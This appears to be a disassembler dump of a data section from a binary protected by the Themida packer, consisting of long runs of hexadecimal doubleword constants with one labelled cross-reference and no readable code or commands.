		dd 0CFE0C108h, 0BF77E30Fh, 237A12C1h, 32128F24h, 406D6611h
		dd 0E2937C76h, 0CAC5997Ch, 3228894Ah, 1601EF11h, 3218EF87h
		dd 3D756644h, 321566A5h, 0C2940011h, 0CD74D6CEh, 321A8F94h
		dd 56E6622h, 73A577B1h,	45CA47FBh, 0B0E6B079h, 3DD5E353h
		dd 32157F94h, 92FC9E88h, 0DB156644h, 3215662Ch,	85DF134Ch
		dd 3B89D7AEh, 366C730Dh, 0B79CAE8Eh, 3400E5F1h,	0D49C307Dh
		dd 3211A0C5h, 0DC946622h, 32156615h, 6E31520Fh,	523162CDh
		dd 0CEE84A3h, 0B973581Fh, 0BB430749h, 36D3E7A2h, 0B3156622h
		dd 321562FFh, 1621E188h, 1621EF18h, 321EE22Dh, 3D756611h
		dd 32156601h, 0E49E0044h, 9990EB43h, 52137796h,	34FC9D03h
		dd 4A156644h, 813ABFC9h, 0E2EA073Dh, 3218E187h,	3AFC6644h
		dd 0BC156622h, 53E62D3Dh, 39CBA3C8h, 35906984h,	0CE156622h
		dd 321560F8h, 769C9A88h, 53E07A60h, 321575CBh, 0F58BE411h
		dd 192AFDh, 0F6352027h,	3A25820Ch, 90263506h, 3BFC9E4Bh
		dd 2D156644h, 1587F108h, 0CE7D84E6h, 32078FE8h,	0B49B6644h
		dd 5C002A2Eh, 8B845F12h, 0C952A4D8h, 5A0DD3E4h,	0B1F5EBA9h
		dd 54756004h, 53667C36h, 37F5EF14h, 32156626h, 0B5118E92h
		dd 0BB49428Ch, 20FC4240h, 2F156622h, 6A3CD8A9h,	7EC8B94Fh
		dd 188FA330h, 844B0EE6h, 5B5B0EB3h, 2E9C6688h, 0BBDEEF60h
		dd 3BFC3DFAh, 0E9156611h, 0F9E52C5Ah, 23CB59A0h, 3229DF73h
		dd 0DB946611h, 5CF76792h, 0F394A745h, 5CF76738h, 0DB4C6712h
		dd 32156682h, 8C405B80h, 27CFD71Eh, 82EACA5Dh, 32156600h
		dd 0EA3162C5h, 0B964AE1Bh, 0F6964205h, 0EAFFE78Ch, 0DB64AE7Dh
		dd 3215662Bh, 15BC6275h, 2E948E9Ch, 4380EF8Ah, 3D13680Dh
		dd 32157A98h, 40AC0688h, 0DA489DC7h, 3215662Dh,	8568890Ch
		dd 581FD23Bh, 0FEFB108Fh, 6B1CD6CBh, 4DAE3570h,	0F30FCDBFh
		dd 0D99463AFh, 2CC01B47h, 5D68590h, 8D427433h, 32AE750Eh
		dd 334A9D0Bh, 54753DC9h, 96EB809h, 76B58EC5h, 0CD741E5Bh
		dd 3D4F6A61h, 32156A06h, 349E6944h, 3D156622h, 3215669Ch
		dd 32048F88h, 4C006644h, 987F45A7h, 6CEE7312h, 2D8895AFh
		dd 0BB21AE69h, 3C023FB7h, 0B81A0617h, 3215668Bh, 0B3CCED22h
		dd 42D6E7E4h, 369E0733h, 0D59C31ACh, 3211A1C5h,	0F5946622h
		dd 32156615h, 6E315A0Fh, 321AED4Bh, 0DB756622h,	32156619h
		dd 0E1586393h, 0A5786BF2h, 16619943h, 0B71A3E35h, 32156689h
		dd 2EC763B1h, 0FA3C62B2h, 568ADC43h, 0C0946A16h, 3A1B1E09h
		dd 0DB4FB60Bh, 32156618h, 376271B4h, 7FC6DE5h, 6B905D77h
		dd 3D136806h, 3215500Ah, 3DE90644h, 321560A4h, 32906911h
		dd 53156688h, 1D64E37Fh
		dd 0B11A602Ch, 3215660Ah, 38FC0771h, 13156644h,	48A69B6Bh
		dd 1D185ED5h, 8B73066Fh, 0F0747D5Ah, 53EC6626h,	32156CF8h
		dd 2B275488h, 0F3757E79h, 0CE6DACEEh, 32118A90h, 0E9C6688h
		dd 3215D960h, 4E9C6622h, 0C74A6235h, 1651A17Dh,	5A68FB40h
		dd 1661E759h, 0BD2C7315h, 1679E7C3h, 0AF334340h, 1651E7D4h
		dd 87F4FB15h, 8C439E4Dh, 32156641h, 3D4B3E74h, 32157396h
		dd 32058F88h, 3DCC6644h, 7A3E884Dh, 45A3CBB2h, 0C645FD52h
		dd 0BF98938Ch, 341B2BF3h, 32108E71h, 6AEB6688h,	3DCA7EC6h
		dd 321566A6h, 0B3733911h, 53F69E63h, 52E087BBh,	36F9E7DBh
		dd 0BB156611h, 32AF429Ch, 33156644h, 6817ECD0h,	321569F8h
		dd 147A9188h, 2499F87Dh, 901C3174h, 0DEF3E382h,	0B61A8FB4h
		dd 32156767h, 321561CBh, 21E65B11h, 0AF3D4CDEh,	0B61A8E78h
		dd 32156765h, 321FE01Eh, 37FC6688h, 17156644h, 30A9A6A2h
		dd 0B61A692Dh, 321566CEh, 321560ADh, 0A432AD22h, 0E27E28Ch
		dd 0B8916945h, 3D156645h, 32156DA4h, 8B730611h,	0B3736EDFh
		dd 534DA6B7h, 0B61A8D1Eh, 321567A6h, 3205E487h,	0BE1A6644h
		dd 32156628h, 321563F8h, 0B22C0688h, 0C774FBD0h, 8B449FE1h
		dd 32156610h, 8A459789h, 32156644h, 2A9FAE23h, 54E93F49h
		dd 12E5D2D8h, 369E00A7h, 30D1E506h, 321560F8h, 0EA1D3D88h
		dd 0B222C3CBh, 0B71AE6D9h, 0CDEA99D7h, 321FE887h, 0B9756644h
		dd 45DDE7D5h, 530D9821h, 1621E7DEh, 1C087484h, 86A83379h
		dd 0B3247E34h, 36F86A4Dh, 6FFE57B9h, 321C8E42h,	3C556611h
		dd 0F866B2D5h, 0B97B7461h, 8BA33CD8h, 36F9E570h, 8D315A01h
		dd 32156642h, 3D4A9D23h, 32156791h, 8B449388h, 32156646h
		dd 143AA7A3h, 0C31404F0h, 143A8F09h, 2B1604A5h,	32128F7Bh
		dd 0D3656611h, 76E01AF9h, 329C8F77h, 60E06622h,	321567ABh
		dd 40D7E788h, 33020750h, 40FFE7D0h, 0B9020705h,	0B1EC3C92h
		dd 0B61A9DBFh, 321566F4h, 3204EF1Eh, 0C7756688h, 32156EACh
		dd 0FBA28522h, 5BFF15E5h, 6474386Ch, 433152C5h,	6906C554h
		dd 4464DF40h, 0F924752Bh, 3A9C691Dh, 3D156622h,	3215649Fh
		dd 0B3740688h, 321562A8h, 1601EF22h, 321567ABh,	31E76788h
		dd 35FC3C5Eh, 3A156622h, 43A3F998h, 8E7D3D23h, 0BB15660Eh
		dd 37AD4226h, 33156611h, 0DBEC3E4Bh, 0CDEA98FAh, 321563CBh
		dd 47076411h, 0B01A3021h, 3215664Dh, 85AE0042h,	0D8DFE6BEh
		dd 6CA369E9h, 321F8F45h, 0D4856622h, 0B4C82F50h, 38D5D899h
		dd 3D3B8DC7h, 0CDEBEFA6h, 35FC06EEh, 38156688h,	0E0B841ACh
		dd 0E29FCA5Eh, 3C956970h, 0DB156688h, 3215664Dh, 0A51BFC03h
		dd 0B3055907h, 32198FFCh, 0B2E06644h, 3DEB675Ch, 0CDEB3394h
		dd 16FC9377h, 3DEA99B9h, 32154BA7h, 23FD0611h, 0F3156688h
		dd 1609D184h, 579B9C16h, 9C9C8F76h, 16964A0Eh, 321A8F1Fh
		dd 0FF456622h, 0A02625B0h, 87072423h, 585BB856h
		db 35h,	7
word_5C8596	dw 0BB44h		; DATA XREF: Themida_:005511BCo
		dd 36D4E7F0h, 0B1156688h, 3E9262ADh, 69C3A06h, 0BB409F35h
		dd 36D0E76Dh, 0B3156644h, 321562CFh, 1639E111h,	1619EFD4h
		dd 0D29C36BCh, 32156227h, 36FDE511h, 6E31620Fh,	0CE317ACDh
		dd 0B3F3EF74h, 321562D7h, 36FBE788h, 0B5156644h, 0BB494216h
		dd 34FC422Dh, 57156688h, 43F599E4h, 0CBD5570Fh,	647506BDh
		dd 53C2EDD7h, 3217E54Bh, 0ACA26622h, 0F09D3470h, 0BAC1EED8h
		dd 3D4F3EA7h, 32156AA3h, 349F6911h, 3D156688h, 321566CDh
		dd 85463422h, 1A34D0F0h, 0D4953D76h, 3BDBE611h,	12AC90A2h
		dd 21FC3CE2h, 14156688h, 866B047Eh, 0FE8A3935h,	0C6AB3BD9h
		dd 47C3F146h, 0C995C8D1h, 48916952h, 52156614h,	0ADB99509h
		dd 0CA753C68h, 4326369Bh, 0E74072Ch, 15916987h,	0DB156645h
		dd 32156629h, 906CAD02h, 0C74BFFABh, 0DBC2DF1Ah, 32156625h
		dd 0CE5146D7h, 0E115D01h, 9B9169ADh, 3D156628h,	32157E97h
		dd 32068F88h, 5A876644h, 2E62DEAEh, 0B6D318F5h,	0E3440EE5h
		dd 29D4AF6Eh, 0D9299AE1h, 3CD7E21Eh, 0BB1A6688h, 3215664Ch
		dd 3217EC2Dh, 53756611h, 0B61A85B4h, 32156524h,	3201EB2Dh
		dd 3DFC6611h, 4D156688h, 514F7A49h, 61859E8Ch, 127369CBh
		dd 0D0290EACh, 3DC7E24Bh, 22FC6622h, 1E156611h,	674E0A5Eh
		dd 16D271C8h, 0FA26A713h, 0CD75385Bh, 0B14A42BCh, 0B9E06280h
		dd 0BB43423Eh, 36D3E7F7h, 0B1156688h, 6926282h,	3FFC3A06h
		dd 15156611h, 9DAD9F5h,	7E865D6h, 1F87F323h, 60316A9Ah
		dd 0F0948401h, 32156640h, 0B511A4A1h, 3D494205h, 32156709h
		dd 0BC1A9F44h, 32156623h, 1621EDE8h, 0B3F6EFDBh, 32156287h
		dd 36D6E722h, 0B5156611h, 0DB494294h, 32156642h, 263A34Ah
		dd 3DD6D81Bh, 32157F03h, 32018F44h, 0E0796622h,	0DF8B4ED4h
		dd 0DCC68353h, 52842843h, 44723AE2h, 0B7D2C473h, 3400E238h
		dd 32156642h, 32156BCBh, 47A89411h, 88FD3A2h, 0EDF83C2Ah
		dd 88475C81h, 32156611h, 8A459489h, 32156644h, 2A9FB623h
		dd 54E03C49h, 12E5D7D9h, 3E9E008Fh, 30D1E506h, 3214E91Eh
		dd 0B2ED6688h, 0B71AE6BFh, 0CDEA9901h, 321C8FE4h, 0A6126688h
		dd 3B8F7C9Eh, 6136850Dh, 0CDEA99AAh, 69CB6777h,	3214EE4Bh
		dd 0B9EC6622h, 3C3BBB94h, 3398698Eh, 0CA156644h, 2988F3A9h
		dd 0C775601Fh, 53DFD987h, 1609ED12h, 3211A2A3h,	3CFC6611h
		dd 7C156688h, 92981E17h, 0BD694575h, 44CCD608h,	34AA3154h
		dd 0B3156644h, 9706C1C9h, 0B3EE6774h, 9706C14Bh, 3DFC3921h
		dd 76156622h, 62E9FBAFh, 6CD71727h, 0DE405DACh,	0B51AD790h
		dd 3215661Dh, 3213EE87h, 0BF1A6644h, 32156622h,	3217DF40h
		dd 0C3146688h, 3E9E7F47h, 36D1E706h, 0DB156611h, 3215668Fh
		dd 7E05F251h, 9FBFE7Bh,	169769C9h, 0CE156688h, 0B41ABC7Fh
		dd 0CDEA9841h, 6EAB3471h, 6D09679Dh, 32156AADh,	0CFF19722h
		dd 0BAB7DA71h, 234B3B20h, 62E90722h, 304F0F9Ah,	0E2E22E02h
		dd 1DE597BDh, 6AD667E3h, 0D9949D0Bh, 79C73377h,	0B4C4E6E8h
		dd 53DBD94Bh, 387D3173h, 6D2BE15Ah, 79199109h, 0CB9C58C3h
		dd 6BDE4F7Dh, 0A2E5DD71h, 54744E82h, 321C8FE9h,	0B4F06622h
		dd 0A4898E78h, 543D293Ch, 321B8FEFh, 2C9C6622h,	841ACC5Fh
		dd 0DEBF4BE9h, 9AE537DDh, 322D614Ah, 1611EF11h,	524E3EDBh
		dd 3217E94Bh, 0F19E6622h, 62E0CD70h, 32156230h,	0FFFBE744h
		dd 33469859h, 0FFD3E7D7h, 6A4698F3h, 534AD024h,	0CA315AABh
		dd 3E311298h, 3A0EF74h,	0CA136869h, 0F5FFE742h,	5432900Ah
		dd 53202937h, 64315ACFh, 0F49480ABh, 32156615h,	3211A009h
		dd 6926644h, 0B11A3A06h, 32156616h, 3214EA87h, 0B9ED6644h
		dd 0BB42423Eh, 36D2E7F6h, 0B3156688h, 32156283h, 1629E122h
		dd 3B9F694Dh, 52156688h, 59D5E722h, 534F3086h, 6B3152EEh
		dd 3D11A20Bh, 321577C9h, 32198F22h, 0D7C6611h, 0BFC8C045h
		dd 2DEE5277h, 69E1599h,	0D79C3335h, 3211A309h, 0F7946644h
		dd 32156626h, 6E314A96h, 0D39C3771h, 756DDD17h,	0C19459BFh
		dd 409D1E16h, 0F290A509h, 0EB14D4AEh, 36D4E579h, 6E316A96h
		dd 0DAC4EDE8h, 32156654h, 87EB0176h, 0CED86B07h, 68CF3268h
		dd 33505975h, 0D295B6A3h, 534B6CB8h, 0CDCA2B61h, 53E006BBh
		dd 0B6A5E3E5h, 32176004h, 3FFC6688h, 52156644h,	0B9AF6563h
		dd 0C771CA8h, 0C80DD154h, 32118AC5h, 69C6622h, 3DE93D35h
		dd 3BFC683Eh, 2B156644h, 9A705FCDh, 0E5E7161h, 3D959F08h
		dd 32153EC7h, 32138F22h, 0FF346611h, 8E1BD7E0h,	2C75A5C5h
		dd 0F9140FC2h, 2D6ADF40h, 0D3D44DEAh, 0B3CC9146h, 0A576C2CBh
		dd 6BDE4FF9h, 32156F61h, 580F6C44h, 0C65E8919h,	88472614h
		dd 276A1BFEh, 4F628CC5h, 0E13C735Dh, 0BDFC934Bh, 3D156688h
		dd 32156EC6h, 30906922h, 52156611h, 824500E9h, 54D44EBBh
		dd 0B13162A9h, 3AFC64D5h, 82156688h, 53D90037h,	522CE449h
		dd 5A749EE9h, 32156688h, 0B9316A6Dh, 0F694422Eh, 32156615h
		dd 0F2AF3470h, 0B30FE015h, 0B445A7C8h, 0B9C4470Bh, 0F694429Ch
		dd 32156640h, 3203EC2Dh, 23FC6611h, 36156688h, 10F686C5h
		dd 1FF34284h, 8E5EF1F8h, 2B10B9F7h, 3E06D913h, 0C9147CBFh
		dd 0B3DE4F4Eh, 0AF197563h, 359E695Eh, 3D156622h, 32156799h
		dd 0B79E9388h, 341B4899h, 0AF80EDDAh, 0DB13680Ah, 3215669Ah
		dd 0B9B973FEh, 6C505C79h, 0C6F41BD8h, 6D07BA23h, 8F96A824h
		dd 341B629Fh, 6D916910h, 5215668Ch, 52ADC22h, 0BED07DEh
		dd 7D9769D2h, 0DB15668Ch, 32156655h, 12530510h,	2F148D5h
		dd 1467180h, 0E55603E6h, 3DC65FB8h, 0CDEE3893h,	32018F77h
		dd 0CF626644h, 553AEB23h, 5F07CC02h, 96786EFEh,	0ECF08AD2h
		dd 21FC409Dh, 3D156615h, 3215620Ch, 0E19E0644h,	8290A143h
		dd 30137395h, 0CE156688h, 0BBE0EF11h, 1639EDC9h, 0C711A292h
		dd 521BD087h, 0B90CAAC4h, 0CB9507D0h, 7B966991h, 52156688h
		dd 0FB2E7AFAh, 0F1940746h, 60C03DA1h, 0ECAA509h, 0F91478A3h
		dd 0ECA8DA3h, 0D99478F6h, 60C03D38h, 38F3E724h,	532B179Ah
		dd 0CDEADE41h, 0F13C9977h, 3D759E1Ch, 321562A1h, 85AA0011h
		dd 5AE0013h, 0B0FC0797h, 0CA156622h, 35770E77h,	1601EFEEh
		dd 0C33D99F2h, 61753C44h, 6D77A891h, 53EFD187h,	0DB94B7B3h
		dd 0CDEA99DDh, 10FCE671h, 4D930EE9h, 269C6644h,	32EADC06h
		dd 0E3346611h, 32058FD2h, 1E406644h, 1BD08DAh, 85C86670h
		dd 70585C9Bh, 0F1941A10h, 30CC58AEh, 2EDCA590h,	0F93C3F95h
		dd 2EDC8DC5h, 0D9943F3Fh, 30CC589Dh, 3202E587h,	0DB756644h
		dd 3215662Ch, 9F6FD446h, 0C9E47EFh, 828E9C8Fh, 65A6B7C9h
		dd 0EF90ED70h, 3D1368A6h, 321561C8h, 33956922h,	0CE156611h
		dd 2988F303h, 3AFC604Ah, 3B156622h, 0B3354F07h,	0DBC1EB6Ch
		dd 32156641h, 7030B90h,	8FA8E5FDh, 3313688Ch, 30CDE24Bh
		dd 9ED6622h, 2F9769C9h,	0DB156688h, 3215664Ch, 57C2A2C5h
		dd 0B3DA03B7h, 0B41AB5B1h, 0CDEA9FA3h, 96F3E642h, 53D3ED77h
		dd 0F796880Fh, 3DFBE1BBh, 32154FA9h, 20FD0611h,	27156688h
		dd 924D9A21h, 4376B50Ah, 5517293Fh, 0DFCC6F04h,	3BFD3DD8h
		dd 0D5156622h, 0FD2707Eh, 78A5326Eh, 8344071Bh,	28FCE63Eh
		dd 0B28D9791h, 0DB95AA41h, 0F3DCE6D6h, 0F395A7DCh, 6BDDEE50h
		dd 54EDEDE8h, 21B484C5h, 3D75CC43h, 32156491h, 53DEEC88h
		dd 0BC7D3017h, 6C3BC82Eh
		dd 1B7DA890h, 0ECE215F5h, 0E00790C5h, 0C19CE622h, 0B8E6674Fh
		dd 60EC3D83h, 0C095A5F6h, 0B0D7E605h, 0BAF39491h, 0B2753C58h
		dd 34FD7F97h, 32156622h, 39A223BCh, 6A7406BFh, 30F9E725h
		dd 54156622h, 81317A98h, 54CC4687h, 8D1A061Fh, 0E09400DDh
		dd 3A746F45h, 339D6940h, 0C7156644h, 38926988h,	0DB156611h
		dd 3215668Dh, 31AB3439h, 0F1949F6Bh, 784C52F3h,	8F409DA1h
		dd 47353B9Ch, 0E7E2BBD5h, 4F5D9390h, 0DF947AAEh, 2CB98DF9h
		dd 52488D0Bh, 3210E21Eh, 0F5AA6688h, 0B3768C8Dh, 830E24F4h
		dd 0DE96071Ch, 1639EF8Ch, 321562F9h, 6FFE4F22h,	3219E91Eh
		dd 0B81A6688h, 32156642h, 3215ED2Dh, 0EA246611h, 0EA24A5B9h
		dd 3DFCCDBCh, 2B156622h, 81134BD4h, 0C3A9035Dh,	0E77002E7h
		dd 8D428BA5h, 32156613h, 212A009h, 0CC1416BDh, 21288A3h
		dd 0DB4A16E8h, 3215669Bh, 634DE5C4h, 0B60BF983h, 102B3614h
		dd 4185BEFBh, 0BB79D602h, 3C385797h, 0F5E99F17h, 3C11DB0Dh
		dd 32156742h, 32058F22h, 68526611h, 0AC915F94h,	0DAAE4055h
		dd 636F28CCh, 0BD1AE342h, 32156698h, 32128F24h,	76AF6622h
		dd 0D245C1DFh, 537406D0h, 3233AB2Ch, 1639EF22h,	0F7948398h
		dd 3215668Ch, 0B511A3C7h, 3D49420Eh, 32156D9Ah,	8D1A0688h
		dd 21C2E79Fh, 533F6361h, 693152EEh, 3211A209h, 0B31A6644h
		dd 32156625h, 0B2CDED71h, 0CD748B6Ah, 0B34C4270h, 321562E6h
		dd 2A9D6911h, 0DB156688h, 32156657h, 4128A494h,	41F21ECCh
		dd 9327007h, 0E2000CEh,	0CB0349D4h, 65F7EF43h, 32156237h
		dd 6DEF6744h, 0B511A4A1h, 3D494205h, 32157F0Eh,	32018F44h
		dd 700D6622h, 69FBF960h, 0F1AEA9B7h, 0FD4D47C6h, 98402718h
		dd 66475AF5h, 36D7E7D2h, 0B1156644h, 269262E0h,	0BD1A3A35h
		dd 32156696h, 32048F24h, 6FDD6622h, 0A5DB92AFh,	9C80135Eh
		dd 7F35A3DEh, 3D1525E2h, 32156690h, 0DBEC0788h,	0CDEABF8Eh
		dd 3219E02Dh, 89756611h, 2F369092h, 8E4F80FFh, 0BD1A0735h
		dd 32156603h, 32138FE8h, 0ACA66644h, 82C1FAA4h,	0E6D7E777h
		dd 0CD4307D2h, 69E4248h, 36D1E506h, 321561F8h, 41B0F588h
		dd 0E8F95B01h, 63FCD470h, 0FA9DB799h, 98E03CD1h, 321DEC4Bh
		dd 0BB1A6622h, 32156613h, 644407E8h, 0BC3152C5h, 6B179669h
		dd 799B9790h, 0FA9C6478h, 0F5AD061Dh, 5332BE20h, 1C8EDC43h
		dd 0C5570718h, 4AE7E796h, 1B85D988h, 0CA3C3CC1h, 0E26E7D8Dh
		dd 32068F4Ah, 0D6196622h, 61D2BA7Fh, 0FA6B682Bh, 29FC3FEBh
		dd 0B224D389h, 53AA314Dh, 0B32265DDh, 9934D9A3h, 1AD2E716h
		dd 0C55A0F4Eh, 7CD2E75Fh, 1B960A24h, 34FC39DAh,	39156611h
		dd 0F4405361h, 0DBBE9325h, 32156630h, 7F417FAAh, 8C1B8524h
		dd 887F7563h, 0CA1F14AEh, 0BB46BABDh, 36D6E76Bh, 0B1156644h
		dd 2E9262E1h, 1631ED35h, 317CD9E8h, 0FC9E434Bh,	16219943h
		dd 36D1E74Ah, 0DB156688h, 32156656h, 3F2E66ADh,	0F6E4B1B1h
		dd 3D52B0A1h, 0CD454A49h, 6EAFDF2h, 0F6963F35h,	69E9E8Ch
		dd 0D39C3760h, 3211A7A3h, 0F3966611h, 1619E18Ch, 321D8F18h
		dd 0C8E56622h, 2849C343h, 17D6684h, 0BB15665Fh,	0D29C4226h
		dd 32156214h, 36D5E588h, 6E3162C3h, 3202EF2Dh, 20FC6611h
		dd 32156688h, 89F661CDh, 20EE2F55h, 4E53C185h, 63F770C8h
		dd 0EE3F8F6Fh, 37FC99DDh, 6156611h, 0DC6F9B6Eh,	0B6A5E383h
		dd 32106037h, 54756611h, 18A39009h, 89463025h, 49EF0F4Dh
		dd 36313A20h, 0C1943DD3h, 49EF0F2Bh, 884793DAh,	32156615h
		dd 48D2A509h, 0E11404ACh, 48D28DA3h, 0CE4F04F9h, 32157561h
		dd 8576FF44h, 0E9D15D6Bh, 0CF8D38E3h, 91D50B84h, 0A583B761h
		dd 32AA3170h, 0BB156611h, 0C0143972h, 0CA4F7C47h, 1CC8E3A9h
		dd 0BE1A601Fh, 32156691h, 3206ED4Bh, 3CFC6622h,	0E8156611h
		dd 5F9E08E5h, 0FB0130D1h, 0F052D39h, 0AF80ED98h, 0DB136893h
		dd 32156643h, 7221040h,	619C98C2h, 32156733h, 69CB4F44h
		dd 17A8E5DBh, 3313680Fh, 3477E287h, 3FFC6644h, 12156622h
		dd 4A04DEC7h, 0C45004A3h, 0D5E1FB02h, 0B01ABE19h, 32156629h
		dd 32156F61h, 0AF108D44h, 7D2C4F93h, 0E82E9576h, 3349E087h
		dd 54756644h, 54CB81A3h, 52749B9Bh, 22FC9703h, 34156644h
		dd 1BFBBB43h, 5D02B9h, 0E9DB960Fh, 532C7548h, 1F24D3ABh
		dd 0B9E0601Fh, 2791D615h, 76949F42h, 40E46A06h,	6E147A2Ch
		dd 8B446AACh, 2E2814B5h, 22312A0Bh, 0DBE09A48h,	3215636Ch
		dd 32156EADh, 0A1C21422h, 7E742179h, 1629ED50h,	0B3F7EF16h
		dd 321562E0h, 36D7E511h, 6E31720Fh, 32128E24h, 0A63C6622h
		dd 86266B65h, 0B9733C02h, 0DA750782h, 3215662Ch, 0EAB2A0A2h
		dd 60283D9Ch, 346B423Ah, 0BF1A446Ch, 32156611h,	0A5AC00D6h
		dd 0B7D20782h, 341B7807h, 32156610h, 32138FE8h,	7D256644h
		dd 0DA2CFD6h, 321563F8h, 0FF7C0388h, 0DB742364h, 3215662Dh
		dd 1D1CFC0Bh, 857D456Bh, 62A80970h, 0CDC988A4h,	0B34E4225h
		dd 3215624Ch, 52ED0644h, 5374A9A9h, 6B3152EEh, 3211A209h
		dd 0B9EC6644h, 0BB464216h, 36D6E7F2h, 0B1156688h, 2E926287h
		dd 5AEC3A06h, 32152C76h, 0BB317A01h, 36D6E7A7h,	0B1156622h
		dd 2E9262D2h, 26FC3AACh, 3A156644h, 5E8C576Eh, 38FD11B5h
		dd 0F2BADFCEh, 0F1F91291h, 0DB7F13DFh, 0CDEAB033h, 3209E787h
		dd 3D756644h, 23FD999Dh, 0E9156611h, 7BFEAED2h,	76253693h
		dd 5A676C2Eh, 77ECE37Dh, 8F9607D7h, 341B62F9h, 0FB916923h
		dd 3D156615h, 3215670Dh, 0AF3E9F44h, 341B48FFh,	321575F8h
		dd 1E88C888h, 9E79A7C4h, 188C21B2h, 0D21CC350h,	0A0946013h
		dd 2A20EBCFh, 0B31A602Ch, 32156602h, 3218E987h,	3AFC6644h
		dd 4156622h, 0DE21A03Fh, 6050020Bh, 0F8783DFEh,	68C44F14h
		dd 0F394BF10h, 4DF0BD3h, 32156EADh, 42E9DB22h, 0FDBEC36Ah
		dd 0B8D4E7FFh, 1B67B110h, 0B0AA31DBh, 7521953Dh, 0B3C291C7h
		dd 0EF359683h, 0DD942942h, 8B07F9F3h, 0DB4A9FA1h, 32156641h
		dd 0B589617Eh, 8250E1Bh, 2E9C6688h, 3210DD60h, 0EB3C6622h
		dd 60449A4Ah, 37A07A3Eh, 0BA4F936Ch, 0B81A3FCAh, 32156618h
		dd 8AE8ECE8h, 97E514Ah,	8D1A0643h, 0E39400DFh, 9874E94Eh
		dd 60DBEC24h, 5475077Bh, 0DAF991AFh, 32156682h,	0CA107AA2h
		dd 34F5D893h, 5375A1D9h, 634507D2h, 1619ED1Ch, 3211A2A3h
		dd 0B71A6611h, 3215669Dh, 321576ADh, 0CB693322h, 213B2BFFh
		dd 60C0282Bh, 0A938BEC2h, 3CFC067Fh, 0B3156611h, 602BE64Bh
		dd 0A5BB6E65h, 0C7C59F94h, 99749E21h, 32157561h, 14256444h
		dd 0CCC024F6h, 7214600Ah, 0DEA276ADh, 5F0F7950h, 0B3F0EF77h
		dd 321562D4h, 36D0E588h, 0B9314AC3h, 21FC4206h,	7D156611h
		dd 0DB3932BAh, 7B692394h, 0BA19E60h, 0D07949BDh, 2E9ED477h
		dd 0D49C3060h, 3211A0A3h, 0F4946611h, 3215668Ch, 6E3152C3h
		dd 3214EF2Dh, 0CDEC6611h, 0B14C42BCh, 0DB756280h, 32156633h
		dd 0A461A1F6h, 1FCB8574h, 9DA8DA15h, 8507A2A6h,	0EC9400EFh
		dd 0C774D97Fh, 6C3152BBh, 3211A2A3h, 3CFC6611h,	60156688h
		dd 1AF1C026h, 9CA060A5h, 718606EBh, 0D19C35ADh,	3211A5C5h
		dd 0F1966622h, 1609E115h, 3D314203h, 321567C3h,	0C7FC9322h
		dd 0DBEA99C6h, 32156698h, 17556742h, 26F9D132h,	9C787C0Eh
		dd 0F128342Ah, 0B6A5E383h, 32176037h, 37FC6611h, 0E3156688h
		dd 1526C00Fh, 64400742h
		dd 21314A90h, 6F1949B3h, 906A3C5h, 0D99C6A0Dh, 3DE9934Ch
		dd 0B2E0683Eh, 0B11AE6BDh, 32156640h, 89AC37EDh, 334205ADh
		dd 0F9143F8Fh, 17AE8DA3h, 3CFC3172h, 69156688h,	0A0919BA4h
		dd 9B8C7284h, 0D34D15B3h, 0CDAF3441h, 1BEA99BBh, 3FFC3CF1h
		dd 8D156611h, 0A4C96938h, 4ADA00B0h, 8431506Bh,	3215FAF8h
		dd 321B8F88h, 26646644h, 0F1D185E0h, 3AB693C4h,	1863698h
		dd 0F4F2E724h, 854234B6h, 81460731h, 0C4D698D7h, 93FEE69Fh
		dd 2E9EBF0Ah, 36D1E535h, 3212E487h, 0B31A6644h,	32156623h
		dd 3EEA37E9h, 160191ACh, 89469A1Dh, 33973DFDh, 68F5DF40h
		dd 0F93C670Ah, 69CC471Dh, 321D8F42h, 30F46611h,	40A014B1h
		dd 3DFC32BDh, 24156622h, 0BD2880E5h, 437DEBB8h,	3A7ED161h
		dd 0B374906Ah, 74587FAh, 0E2FEE7C9h, 1B4D805Eh,	0E2D6E7E9h
		dd 0B34D800Bh, 745874Bh, 339F6905h, 0C7156622h,	0EF90EDE9h
		dd 3D1368A6h, 321561C1h, 33986922h, 0C7156611h,	2988F303h
		dd 8175604Ah, 23CDE705h, 532DB1A8h, 0CDEE7C61h,	339169BBh
		dd 0C7156622h, 0B6A5E3D6h, 3217609Dh, 0B3756644h, 4A2826CAh
		dd 0DB750769h, 32156682h, 9290E66h, 0AA309EABh,	0BB1A66FBh
		dd 3215668Eh, 3215E04Bh, 62746622h, 0F19C9698h,	0B3316203h
		dd 32156280h, 32188F22h, 1BD86611h, 6CEF085h, 8F1F1FE7h
		dd 3D291FBFh, 0B41A68A7h, 32156690h, 321575ADh,	0A3842722h
		dd 0AE552450h, 2D669106h, 17169CE7h, 9EE89E53h,	3D959F91h
		dd 3215520Bh, 0F1949F44h, 2BC15C20h, 8B44AD10h,	2BC15C8Ah
		dd 0C74CAD6Dh, 0CDEADC70h, 0E13C99EEh, 0A5FC9FD2h, 0DB156644h
		dd 3215662Fh, 190E0FFAh, 8EEA6A6Fh, 1C052017h, 20A1369Ah
		dd 0C695AAEFh, 0CDD1E66Ah, 0B2118A84h, 0D33D76CEh, 0B3730649h
		dd 0B3E23B60h, 869884B3h, 8A450714h, 32156611h,	0B984AEA1h
		dd 0F6964240h, 0DE969F26h, 1621EF15h, 37099436h, 87E3E72Bh
		dd 0B37A5031h, 0FEE4DED7h, 6CE44777h, 321575ADh, 0FC2C9022h
		dd 22387153h, 0E30B2C7h, 21216D02h, 0AC5473A3h,	3F358D90h
		dd 0D99445DEh, 15F3228Fh, 0F194AD0Bh, 15F322DAh, 3F35A509h
		dd 0B9754512h, 9FAB00D8h, 0B79E0715h, 341B4855h, 0AF80EDBDh
		dd 52136839h, 3216E71Eh, 0B9736688h, 0FDA269BEh, 8FA8E543h
		dd 33136815h, 0C5A9E287h, 9E099BBh, 2D9769FAh, 0DB156611h
		dd 3215668Dh, 0D620781Ah, 3DC65FD3h, 0CDFBA897h, 321D8F77h
		dd 56BC6644h, 4FCC5F59h, 8F404660h, 0CDEA9977h,	0CB488845h
		dd 323B784Ah, 1611EF11h, 0F39C9601h, 321A8F1Ch,	0D80F6622h
		dd 0EF81261Bh, 0D46EFDEBh, 0AE5445CEh, 0E4D4E79Bh, 1B5AAF1Ch
		dd 0E4AE3571h, 1B5AAF49h, 34FC3DFBh, 45156611h,	7C27FF37h
		dd 37AE3592h, 0B3156622h, 351D1F8h, 0B3CC4FBFh,	351D185h
		dd 34FC3D15h, 93156611h, 10CC6E7h, 36F9E744h, 0BB156622h
